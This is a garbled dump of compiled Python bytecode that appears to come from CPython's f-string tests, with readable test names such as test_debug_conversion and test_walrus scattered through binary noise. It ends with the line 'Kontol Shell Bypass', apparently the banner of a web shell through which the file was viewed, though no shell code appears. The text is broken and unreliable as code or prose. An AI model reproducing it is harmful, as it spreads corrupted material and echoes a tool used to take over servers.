        20cs�}|�|Sr�r)rlZoldxr�rrrb�sz)TestCase.test_debug_conversion.<locals>.fz3=)rlr�r'c@seZdZdd�Zdd�ZdS)z)TestCase.test_debug_conversion.<locals>.CcSs
d|��S)NzFORMAT-r)r
r�rrrr�sz4TestCase.test_debug_conversion.<locals>.C.__format__cSsdS)NZREPRrr%rrr�__repr__�sz2TestCase.test_debug_conversion.<locals>.C.__repr__N)rrrrrrrrr�C�srzC()=zC()=REPRzC()=FORMAT-rmzC()=FORMAT- r zC()=FORMAT-xzC()=********REPR********zf'{C=]'r�zXx=r�zXx  =zXx=  zXx  =  )r�reprrr�rrqrjr	)r
ttenπ�pirbrrr�r�test_debug_conversionzsn"""��   zTestCase.test_debug_conversioncCs6d}|�|d�d�|�d}�d�|�|d�dS)Nrrrrur�rnr�rrr�test_walrus�szTestCase.test_walruscCsJt�r
dnd}|�t|��tddd�Wd�n1s<0YdS)Nr�r�z
f'{a $ b}'�?r*)rrrjr-r�rrr�!test_invalid_syntax_error_message�sz*TestCase.test_invalid_syntax_error_messagecCsBt�d�}|�t|��dd�Wd�n1s40YdS)NzCannot specify ',' with ','.r3z,,��re�escaperrf�r
r�rrr�(test_with_two_commas_in_format_specifier�s
z1TestCase.test_with_two_commas_in_format_specifiercCsBt�d�}|�t|��dd�Wd�n1s40YdS)NzCannot specify '_' with '_'.r3�__rrrrr�,test_with_two_underscore_in_format_specifier�s
z5TestCase.test_with_two_underscore_in_format_specifiercCsBt�d�}|�t|��dd�Wd�n1s40YdS)N� Cannot specify both ',' and '_'.r3z,_rrrrr�8test_with_a_commas_and_an_underscore_in_format_specifier�s
zATestCase.test_with_a_commas_and_an_underscore_in_format_specifiercCsBt�d�}|�t|��dd�Wd�n1s40YdS)Nr!r3z_,rrrrr�7test_with_an_underscore_and_a_comma_in_format_specifiers
z@TestCase.test_with_an_underscore_and_a_comma_in_format_specifierN)Hrrrr
r"r1rJrPrSrUrWr`rergrhrkrorprrrwr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�ZskipIfrrr	r
rrrrrr r"r#rrrrrs�4-G25		#&(7

			
 
!%&

h
r�__main__)r+r�rrr�r�Ztest.supportrrZtest.support.script_helperrr�rr�mainrrrr�<module>
s(	r

Kontol Shell Bypass